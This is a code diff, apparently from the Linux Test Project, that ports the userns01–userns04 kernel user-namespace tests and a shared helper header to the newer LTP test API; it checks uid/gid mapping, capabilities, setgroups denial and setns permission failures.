@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd., 2015
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef COMMON_H
+#define COMMON_H
+
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
+
+#define UID_MAP 0
+#define GID_MAP 1
+
+static int dummy_child(void *v)
+{
+	(void)v;
+	return 0;
+}
+
+static inline void check_newuser(void)
+{
+	int pid, status;
+
+	pid = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, dummy_child, NULL);
+	if (pid == -1)
+		tst_brk(TCONF | TTERRNO, "CLONE_NEWUSER not supported");
+
+	SAFE_WAIT(&status);
+}
+
+static inline void updatemap(int cpid, int type, int idnum, int parentmappid)
+{
+	char path[BUFSIZ];
+	char content[BUFSIZ];
+	int fd;
+
+	switch(type) {
+	case UID_MAP:
+		sprintf(path, "/proc/%d/uid_map", cpid);
+		break;
+	case GID_MAP:
+		sprintf(path, "/proc/%d/gid_map", cpid);
+		break;
+	default:
+		tst_brk(TBROK, "invalid type parameter");
+		break;
+	}
+
+	sprintf(content, "%d %d 1", idnum, parentmappid);
+
+	fd = SAFE_OPEN(path, O_WRONLY, 0644);
+	SAFE_WRITE(1, fd, content, strlen(content));
+	SAFE_CLOSE(fd);
+}
+
+#endif
diff --git a/testcases/kernel/containers/userns/userns01.c b/testcases/kernel/containers/userns/userns01.c
index 1c8cf57..8ed7a9f 100644
--- a/testcases/kernel/containers/userns/userns01.c
+++ b/testcases/kernel/containers/userns/userns01.c
@@ -1,115 +1,108 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Verify that if a user ID has no mapping inside the namespace, user ID and
+ * group ID will be the value defined in the file /proc/sys/kernel/overflowuid
+ * (defaults to 65534) and /proc/sys/kernel/overflowgid (defaults to 65534). A
+ * child process has a full set of permitted and effective capabilities, even
+ * though the program was run from an unprivileged account.
  */
 
-/*
- * Verify that:
- *  If a user ID has no mapping inside the namespace, user ID and group
- * ID will be the value defined in the file /proc/sys/kernel/overflowuid(65534)
- * and /proc/sys/kernel/overflowgid(65534). A child process has a full set
- * of permitted and effective capabilities, even though the program was
- * run from an unprivileged account.
- */
+#include "tst_test.h"
 
+#ifdef HAVE_LIBCAP
 #define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
+
 #include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "userns_helper.h"
-#include "test.h"
+#include "common.h"
 #include "config.h"
-#if HAVE_SYS_CAPABILITY_H
 #include <sys/capability.h>
-#endif
 
 #define OVERFLOWUIDPATH "/proc/sys/kernel/overflowuid"
 #define OVERFLOWGIDPATH "/proc/sys/kernel/overflowgid"
 
-char *TCID = "user_namespace1";
-int TST_TOTAL = 1;
-
 static long overflowuid;
 static long overflowgid;
 
 /*
  * child_fn1() - Inside a new user namespace
  */
-static int child_fn1(void *arg LTP_ATTRIBUTE_UNUSED)
+static int child_fn1(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int exit_val = 0;
 	int uid, gid;
-#ifdef HAVE_LIBCAP
 	cap_t caps;
 	int i, last_cap;
 	cap_flag_value_t flag_val;
-#endif
 
 	uid = geteuid();
 	gid = getegid();
 
-	tst_resm(TINFO, "USERNS test is running in a new user namespace.");
+	tst_res(TINFO, "USERNS test is running in a new user namespace.");
 
-	if (uid != overflowuid || gid != overflowgid) {
-		printf("Got unexpected result of uid=%d gid=%d\n", uid, gid);
-		exit_val = 1;
-	}
+	if (uid != overflowuid || gid != overflowgid)
+		tst_res(TFAIL, "got unexpected uid=%d gid=%d", uid, gid);
+	else
+		tst_res(TPASS, "got expected uid and gid");
 
-#ifdef HAVE_LIBCAP
 	caps = cap_get_proc();
-	SAFE_FILE_SCANF(NULL, "/proc/sys/kernel/cap_last_cap", "%d", &last_cap);
+
+	SAFE_FILE_SCANF("/proc/sys/kernel/cap_last_cap", "%d", &last_cap);
+
 	for (i = 0; i <= last_cap; i++) {
 		cap_get_flag(caps, i, CAP_EFFECTIVE, &flag_val);
-		if (flag_val == 0)
+		if (!flag_val)
 			break;
+
 		cap_get_flag(caps, i, CAP_PERMITTED, &flag_val);
-		if (flag_val == 0)
+		if (!flag_val)
 			break;
 	}
 
-	if (flag_val == 0) {
-		printf("unexpected effective/permitted caps at %d\n", i);
-		exit_val = 1;
-	}
-#else
-	printf("System is missing libcap.\n");
-#endif
-	return exit_val;
+	if (!flag_val)
+		tst_res(TFAIL, "unexpected effective/permitted caps at %d", i);
+	else
+		tst_res(TPASS, "expected capabilities");
+
+	return 0;
 }
 
 static void setup(void)
 {
 	check_newuser();
-	SAFE_FILE_SCANF(NULL, OVERFLOWUIDPATH, "%ld", &overflowuid);
-	SAFE_FILE_SCANF(NULL, OVERFLOWGIDPATH, "%ld", &overflowgid);
+
+	SAFE_FILE_SCANF(OVERFLOWUIDPATH, "%ld", &overflowuid);
+	SAFE_FILE_SCANF(OVERFLOWGIDPATH, "%ld", &overflowgid);
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
+	int pid;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWUSER,
-			child_fn1, NULL));
-
-		if (TEST_RETURN == -1)
-			tst_brkm(TFAIL | TTERRNO, NULL, "clone failed");
-		tst_record_childstatus(NULL, -1);
-	}
-	tst_exit();
+	pid = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, child_fn1, NULL);
+	if (pid < 0)
+		tst_brk(TBROK | TTERRNO, "clone failed");
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.caps = (struct tst_cap []) {
+		TST_CAP(TST_CAP_DROP, CAP_NET_RAW),
+		{}
+	},
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL,
+	},
+};
+
+#else
+TST_TEST_TCONF("System is missing libcap");
+#endif
diff --git a/testcases/kernel/containers/userns/userns02.c b/testcases/kernel/containers/userns/userns02.c
index ae49a15..dd78400 100644
--- a/testcases/kernel/containers/userns/userns02.c
+++ b/testcases/kernel/containers/userns/userns02.c
@@ -1,117 +1,82 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Verify that:
- *  The user ID and group ID, which are inside a container, can be modified
- * by its parent process.
+/*\
+ * [Description]
+ *
+ * Verify that the user ID and group ID, which are inside a container,
+ * can be modified by its parent process.
  */
 
 #define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
+
 #include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "userns_helper.h"
-#include "test.h"
-
-char *TCID = "user_namespace2";
-int TST_TOTAL = 1;
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+#include "common.h"
+#include "tst_test.h"
 
 /*
  * child_fn1() - Inside a new user namespace
  */
-static int child_fn1(void)
+static int child_fn1(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int exit_val;
 	int uid, gid;
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAIT(0);
+
 	uid = geteuid();
 	gid = getegid();
 
-	if (uid == 100 && gid == 100) {
-		printf("Got expected uid and gid.\n");
-		exit_val = 0;
-	} else {
-		printf("Got unexpected result of uid=%d gid=%d\n", uid, gid);
-		exit_val = 1;
-	}
+	if (uid == 100 && gid == 100)
+		tst_res(TPASS, "got expected uid and gid");
+	else
+		tst_res(TFAIL, "got unexpected uid=%d gid=%d", uid, gid);
 
-	return exit_val;
+	return 0;
 }
 
 static void setup(void)
 {
 	check_newuser();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(NULL);
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
 	int childpid;
 	int parentuid;
 	int parentgid;
 	char path[BUFSIZ];
-	char content[BUFSIZ];
-	int fd;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-	setup();
+	childpid = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, child_fn1, NULL);
+	if (childpid < 0)
+		tst_brk(TBROK | TTERRNO, "clone failed");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		childpid = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-			(void *)child_fn1, NULL);
+	parentuid = geteuid();
+	parentgid = getegid();
 
-		if (childpid < 0)
-			tst_brkm(TFAIL | TERRNO, cleanup, "clone failed");
+	sprintf(path, "/proc/%d/uid_map", childpid);
+	SAFE_FILE_PRINTF(path, "100 %d 1", parentuid);
 
-		parentuid = geteuid();
-		parentgid = getegid();
-		sprintf(path, "/proc/%d/uid_map", childpid);
-		sprintf(content, "100 %d 1", parentuid);
-		fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-		SAFE_WRITE(cleanup, 1, fd, content, strlen(content));
-		SAFE_CLOSE(cleanup, fd);
-
-		if (access("/proc/self/setgroups", F_OK) == 0) {
-			sprintf(path, "/proc/%d/setgroups", childpid);
-			fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-			SAFE_WRITE(cleanup, 1, fd, "deny", 4);
-			SAFE_CLOSE(cleanup, fd);
-		}
-
-		sprintf(path, "/proc/%d/gid_map", childpid);
-		sprintf(content, "100 %d 1", parentgid);
-		fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-		SAFE_WRITE(cleanup, 1, fd, content, strlen(content));
-		SAFE_CLOSE(cleanup, fd);
-
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-
-		tst_record_childstatus(cleanup, childpid);
+	if (access("/proc/self/setgroups", F_OK) == 0) {
+		sprintf(path, "/proc/%d/setgroups", childpid);
+		SAFE_FILE_PRINTF(path, "deny");
 	}
-	cleanup();
-	tst_exit();
+
+	sprintf(path, "/proc/%d/gid_map", childpid);
+	SAFE_FILE_PRINTF(path, "100 %d 1", parentgid);
+
+	TST_CHECKPOINT_WAKE(0);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL,
+	},
+};
diff --git a/testcases/kernel/containers/userns/userns03.c b/testcases/kernel/containers/userns/userns03.c
index be511fe..d329a2b 100644
--- a/testcases/kernel/containers/userns/userns03.c
+++ b/testcases/kernel/containers/userns/userns03.c
@@ -1,24 +1,22 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of the GNU General Public License as published by the Free
- * Software Foundation; either version 2 of the License, or (at your option)
- * any later version. This program is distributed in the hope that it will be
- * useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
- * Public License for more details. You should have received a copy of the GNU
- * General Public License along with this program.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Verify that:
- * /proc/PID/uid_map and /proc/PID/gid_map contains three values separated by
- * white space:
+/*\
+ * [Description]
+ *
+ * Verify that /proc/PID/uid_map and /proc/PID/gid_map contains three values
+ * separated by white space:
+ *
  * ID-inside-ns   ID-outside-ns   length
  *
  * ID-outside-ns is interpreted according to which process is opening the file.
+ *
  * If the process opening the file is in the same user namespace as the process
  * PID, then ID-outside-ns is defined with respect to the parent user namespace.
+ *
  * If the process opening the file is in a different user namespace, then
  * ID-outside-ns is defined with respect to the user namespace of the process
  * opening the file.
@@ -26,29 +24,16 @@
  * The string "deny" would be written to /proc/self/setgroups before GID
  * check if setgroups is allowed, see kernel commits:
  *
- *   commit 9cc46516ddf497ea16e8d7cb986ae03a0f6b92f8
- *   Author: Eric W. Biederman <ebiederm@xmission.com>
- *   Date:   Tue Dec 2 12:27:26 2014 -0600
- *     userns: Add a knob to disable setgroups on a per user namespace basis
- *
- *   commit 66d2f338ee4c449396b6f99f5e75cd18eb6df272
- *   Author: Eric W. Biederman <ebiederm@xmission.com>
- *   Date:   Fri Dec 5 19:36:04 2014 -0600
- *     userns: Allow setting gid_maps without privilege when setgroups is disabled
- *
+ * - 9cc46516ddf4 ("userns: Add a knob to disable setgroups on a per user namespace basis")
+ * - 66d2f338ee4c ("userns: Allow setting gid_maps without privilege when setgroups is disabled")
  */
 
 #define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
+
 #include <stdio.h>
-#include <stdlib.h>
 #include <stdbool.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "userns_helper.h"
-#include "test.h"
+#include "common.h"
+#include "tst_test.h"
 
 #define CHILD1UID 0
 #define CHILD1GID 0
@@ -57,179 +42,168 @@
 #define UID_MAP 0
 #define GID_MAP 1
 
-char *TCID = "user_namespace3";
-int TST_TOTAL = 1;
-static int cpid1, parentuid, parentgid;
+static int cpid1;
+static int parentuid;
+static int parentgid;
 
 /*
  * child_fn1() - Inside a new user namespace
  */
-static int child_fn1(void)
+static int child_fn1(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAIT(0);
 	return 0;
 }
 
 /*
  * child_fn2() - Inside a new user namespace
  */
-static int child_fn2(void)
+static int child_fn2(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int exit_val = 0;
 	int uid, gid;
 	char cpid1uidpath[BUFSIZ];
 	char cpid1gidpath[BUFSIZ];
 	int idinsidens, idoutsidens, length;
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 1);
+	TST_CHECKPOINT_WAIT(1);
 
 	uid = geteuid();
 	gid = getegid();
 
-	if (uid != CHILD2UID || gid != CHILD2GID) {
-		printf("unexpected uid=%d gid=%d\n", uid, gid);
-		exit_val = 1;
-	}
+	tst_res(TINFO, "uid=%d, gid=%d", uid, gid);
 
-	/*Get the uid parameters of the child_fn2 process.*/
-	SAFE_FILE_SCANF(NULL, "/proc/self/uid_map", "%d %d %d", &idinsidens,
-		&idoutsidens, &length);
+	if (uid != CHILD2UID || gid != CHILD2GID)
+		tst_res(TFAIL, "unexpected uid=%d gid=%d", uid, gid);
+	else
+		tst_res(TPASS, "expected uid and gid");
+
+	/* Get the uid parameters of the child_fn2 process */
+	SAFE_FILE_SCANF("/proc/self/uid_map", "%d %d %d", &idinsidens, &idoutsidens, &length);
 
 	/* map file format:ID-inside-ns   ID-outside-ns   length
-	If the process opening the file is in the same user namespace as
-	the process PID, then ID-outside-ns is defined with respect to the
-	 parent user namespace.*/
-	if (idinsidens != CHILD2UID || idoutsidens != parentuid) {
-		printf("child_fn2 checks /proc/cpid2/uid_map:\n");
-		printf("unexpected: idinsidens=%d idoutsidens=%d\n",
-			idinsidens, idoutsidens);
-		exit_val = 1;
-	}
+	 * If the process opening the file is in the same user namespace as
+	 * the process PID, then ID-outside-ns is defined with respect to the
+	 * parent user namespace
+	 */
+	tst_res(TINFO, "child2 checks /proc/cpid2/uid_map");
+
+	if (idinsidens != CHILD2UID || idoutsidens != parentuid)
+		tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens);
+	else
+		tst_res(TPASS, "expected namespaces IDs");
 
 	sprintf(cpid1uidpath, "/proc/%d/uid_map", cpid1);
-	SAFE_FILE_SCANF(NULL, cpid1uidpath, "%d %d %d", &idinsidens,
-		&idoutsidens, &length);
+	SAFE_FILE_SCANF(cpid1uidpath, "%d %d %d", &idinsidens, &idoutsidens, &length);
 
 	/* If the process opening the file is in a different user namespace,
-	then ID-outside-ns is defined with respect to the user namespace
-	of the process opening the file.*/
-	if (idinsidens != CHILD1UID || idoutsidens != CHILD2UID) {
-		printf("child_fn2 checks /proc/cpid1/uid_map:\n");
-		printf("unexpected: idinsidens=%d idoutsidens=%d\n",
-			idinsidens, idoutsidens);
-		exit_val = 1;
-	}
+	 * then ID-outside-ns is defined with respect to the user namespace
+	 * of the process opening the file
+	 */
+	tst_res(TINFO, "child2 checks /proc/cpid1/uid_map");
+
+	if (idinsidens != CHILD1UID || idoutsidens != CHILD2UID)
+		tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens);
+	else
+		tst_res(TPASS, "expected namespaces IDs");
 
 	sprintf(cpid1gidpath, "/proc/%d/gid_map", cpid1);
-	SAFE_FILE_SCANF(NULL, "/proc/self/gid_map", "%d %d %d",
-		 &idinsidens, &idoutsidens, &length);
+	SAFE_FILE_SCANF("/proc/self/gid_map", "%d %d %d", &idinsidens, &idoutsidens, &length);
 
-	if (idinsidens != CHILD2GID || idoutsidens != parentgid) {
-		printf("child_fn2 checks /proc/cpid2/gid_map:\n");
-		printf("unexpected: idinsidens=%d idoutsidens=%d\n",
-			idinsidens, idoutsidens);
-		exit_val = 1;
-	}
+	tst_res(TINFO, "child2 checks /proc/cpid2/gid_map");
 
-	SAFE_FILE_SCANF(NULL, cpid1gidpath, "%d %d %d", &idinsidens,
-		&idoutsidens, &length);
+	if (idinsidens != CHILD2GID || idoutsidens != parentgid)
+		tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens);
+	else
+		tst_res(TPASS, "expected namespaces IDs");
 
-	if (idinsidens != CHILD1GID || idoutsidens != CHILD2GID) {
-		printf("child_fn1 checks /proc/cpid1/gid_map:\n");
-		printf("unexpected: idinsidens=%d idoutsidens=%d\n",
-			idinsidens, idoutsidens);
-		exit_val = 1;
-	}
+	SAFE_FILE_SCANF(cpid1gidpath, "%d %d %d", &idinsidens, &idoutsidens, &length);
 
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 1);
-	return exit_val;
-}
+	tst_res(TINFO, "child1 checks /proc/cpid1/gid_map");
 
-static void cleanup(void)
-{
-	tst_rmdir();
+	if (idinsidens != CHILD1GID || idoutsidens != CHILD2GID)
+		tst_res(TFAIL, "unexpected: namespace ID inside=%d outside=%d", idinsidens, idoutsidens);
+	else
+		tst_res(TPASS, "expected namespaces IDs");
+
+	TST_CHECKPOINT_WAKE(0);
+	TST_CHECKPOINT_WAKE(1);
+
+	return 0;
 }
 
 static void setup(void)
 {
 	check_newuser();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(NULL);
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
 	pid_t cpid2;
 	char path[BUFSIZ];
-	int lc;
 	int fd;
 	int ret;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-	setup();
+	parentuid = geteuid();
+	parentgid = getegid();
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
+	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, child_fn1, NULL);
+	if (cpid1 < 0)
+		tst_brk(TBROK | TTERRNO, "cpid1 clone failed");
 
-		parentuid = geteuid();
-		parentgid = getegid();
+	cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, child_fn2, NULL);
+	if (cpid2 < 0)
+		tst_brk(TBROK | TTERRNO, "cpid2 clone failed");
 
-		cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-			(void *)child_fn1, NULL);
-		if (cpid1 < 0)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				"cpid1 clone failed");
+	if (access("/proc/self/setgroups", F_OK) == 0) {
+		sprintf(path, "/proc/%d/setgroups", cpid1);
 
-		cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-			(void *)child_fn2, NULL);
-		if (cpid2 < 0)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				"cpid2 clone failed");
+		fd = SAFE_OPEN(path, O_WRONLY, 0644);
+		SAFE_WRITE(1, fd, "deny", 4);
+		SAFE_CLOSE(fd);
 
-		if (access("/proc/self/setgroups", F_OK) == 0) {
-			sprintf(path, "/proc/%d/setgroups", cpid1);
-			fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-			SAFE_WRITE(cleanup, 1, fd, "deny", 4);
-			SAFE_CLOSE(cleanup, fd);
-			/* If the setgroups file has the value "deny",
-			 * then the setgroups(2) system call can't
-			 * subsequently be reenabled (by writing "allow" to
-			 * the file) in this user namespace.  (Attempts to
-			 * do so will fail with the error EPERM.)
-			*/
+		/* If the setgroups file has the value "deny",
+		 * then the setgroups(2) system call can't
+		 * subsequently be reenabled (by writing "allow" to
+		 * the file) in this user namespace.  (Attempts to
+		 * do so will fail with the error EPERM.)
+		 */
 
-			/* test that setgroups can't be re-enabled */
-			fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-			ret = write(fd, "allow", 5);
+		/* test that setgroups can't be re-enabled */
+		fd = SAFE_OPEN(path, O_WRONLY, 0644);
+		ret = write(fd, "allow", 5);
 
-			if (ret != -1) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					"write action should fail");
-			} else if (errno != EPERM) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					"unexpected error: \n");
-			}
-			SAFE_CLOSE(cleanup, fd);
-			tst_resm(TPASS, "setgroups can't be re-enabled");
+		if (ret != -1)
+			tst_brk(TBROK, "write action should fail");
+		else if (errno != EPERM)
+			tst_brk(TBROK | TTERRNO, "unexpected error");
 
-			sprintf(path, "/proc/%d/setgroups", cpid2);
-			fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-			SAFE_WRITE(cleanup, 1, fd, "deny", 4);
-			SAFE_CLOSE(cleanup, fd);
-		}
+		SAFE_CLOSE(fd);
 
-		updatemap(cpid1, UID_MAP, CHILD1UID, parentuid, cleanup);
-		updatemap(cpid2, UID_MAP, CHILD2UID, parentuid, cleanup);
+		tst_res(TPASS, "setgroups can't be re-enabled");
 
-		updatemap(cpid1, GID_MAP, CHILD1GID, parentgid, cleanup);
-		updatemap(cpid2, GID_MAP, CHILD2GID, parentgid, cleanup);
+		sprintf(path, "/proc/%d/setgroups", cpid2);
 
-		TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 1);
-
-		tst_record_childstatus(cleanup, cpid1);
-		tst_record_childstatus(cleanup, cpid2);
+		fd = SAFE_OPEN(path, O_WRONLY, 0644);
+		SAFE_WRITE(1, fd, "deny", 4);
+		SAFE_CLOSE(fd);
 	}
-	cleanup();
-	tst_exit();
+
+	updatemap(cpid1, UID_MAP, CHILD1UID, parentuid);
+	updatemap(cpid2, UID_MAP, CHILD2UID, parentuid);
+
+	updatemap(cpid1, GID_MAP, CHILD1GID, parentgid);
+	updatemap(cpid2, GID_MAP, CHILD2GID, parentgid);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(1);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL,
+	},
+};
diff --git a/testcases/kernel/containers/userns/userns04.c b/testcases/kernel/containers/userns/userns04.c
index f7d6e80..d863950 100644
--- a/testcases/kernel/containers/userns/userns04.c
+++ b/testcases/kernel/containers/userns/userns04.c
@@ -1,131 +1,87 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Verify that:
- *  If a namespace isn't another namespace's ancestor, the process in
- *  first namespace does not have the CAP_SYS_ADMIN capability in the
- *  second namespace and the setns() call fails.
+/*\
+ * [Description]
+ *
+ * Verify that if a namespace isn't another namespace's ancestor, the process in
+ * first namespace does not have the CAP_SYS_ADMIN capability in the second
+ * namespace and the setns() call fails.
  */
 
 #define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "userns_helper.h"
-#include "test.h"
 
-char *TCID = "user_namespace4";
-int TST_TOTAL = 1;
+#include <stdio.h>
+#include "common.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
 static void setup(void)
 {
 	check_newuser();
-	ltp_syscall(__NR_setns, -1, 0);
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(NULL);
+	tst_syscall(__NR_setns, -1, 0);
 }
 
-static void cleanup(void)
+static int child_fn1(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	tst_rmdir();
-}
-
-static int child_fn1(void *arg LTP_ATTRIBUTE_UNUSED)
-{
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAIT(0);
 	return 0;
 }
 
 static int child_fn2(void *arg)
 {
-	int exit_val = 0;
-	int ret;
+	TEST(tst_syscall(__NR_setns, ((long)arg), CLONE_NEWUSER));
+	if (TST_RET != -1 || TST_ERR != EPERM)
+		tst_res(TFAIL | TERRNO, "child2 setns() error");
+	else
+		tst_res(TPASS, "child2 setns() failed as expected");
 
-	ret = ltp_syscall(__NR_setns, ((long)arg), CLONE_NEWUSER);
-	if (ret != -1) {
-		printf("child2 setns() unexpected success\n");
-		exit_val = 1;
-	} else if (errno != EPERM) {
-		printf("child2 setns() unexpected error: (%d) %s\n",
-			errno, strerror(errno));
-		exit_val = 1;
-	}
+	TST_CHECKPOINT_WAIT(1);
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 1);
-	return exit_val;
+	return 0;
 }
 
-static void test_cap_sys_admin(void)
+static void run(void)
 {
 	pid_t cpid1, cpid2, cpid3;
 	char path[BUFSIZ];
 	int fd;
 
-	/* child 1 */
-	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-		(void *)child_fn1, NULL);
+	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, (void *)child_fn1, NULL);
 	if (cpid1 < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
+		tst_brk(TBROK | TTERRNO, "clone failed");
 
-	/* child 2 */
 	sprintf(path, "/proc/%d/ns/user", cpid1);
-	fd = SAFE_OPEN(cleanup, path, O_RDONLY, 0644);
-	cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-		(void *)child_fn2, (void *)((long)fd));
+
+	fd = SAFE_OPEN(path, O_RDONLY, 0644);
+	cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, (void *)child_fn2, (void *)((long)fd));
 	if (cpid2 < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
+		tst_brk(TBROK | TTERRNO, "clone failed");
 
 	/* child 3 - throw-away process changing ns to child1 */
-	switch (cpid3 = fork()) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork");
-	case 0:
-		if (ltp_syscall(__NR_setns, fd, CLONE_NEWUSER) == -1) {
-			printf("parent pid setns failure: (%d) %s",
-				errno, strerror(errno));
-			exit(1);
-		}
-		exit(0);
+	cpid3 = SAFE_FORK();
+	if (!cpid3) {
+		TST_EXP_PASS(tst_syscall(__NR_setns, fd, CLONE_NEWUSER));
+		return;
 	}
 
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 1);
+	TST_CHECKPOINT_WAKE(0);
+	TST_CHECKPOINT_WAKE(1);
 
-	tst_record_childstatus(cleanup, cpid1);
-	tst_record_childstatus(cleanup, cpid2);
-	tst_record_childstatus(cleanup, cpid3);
-
-	SAFE_CLOSE(cleanup, fd);
-
+	SAFE_CLOSE(fd);
 }
 
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	setup();
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		test_cap_sys_admin();
-	}
-
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
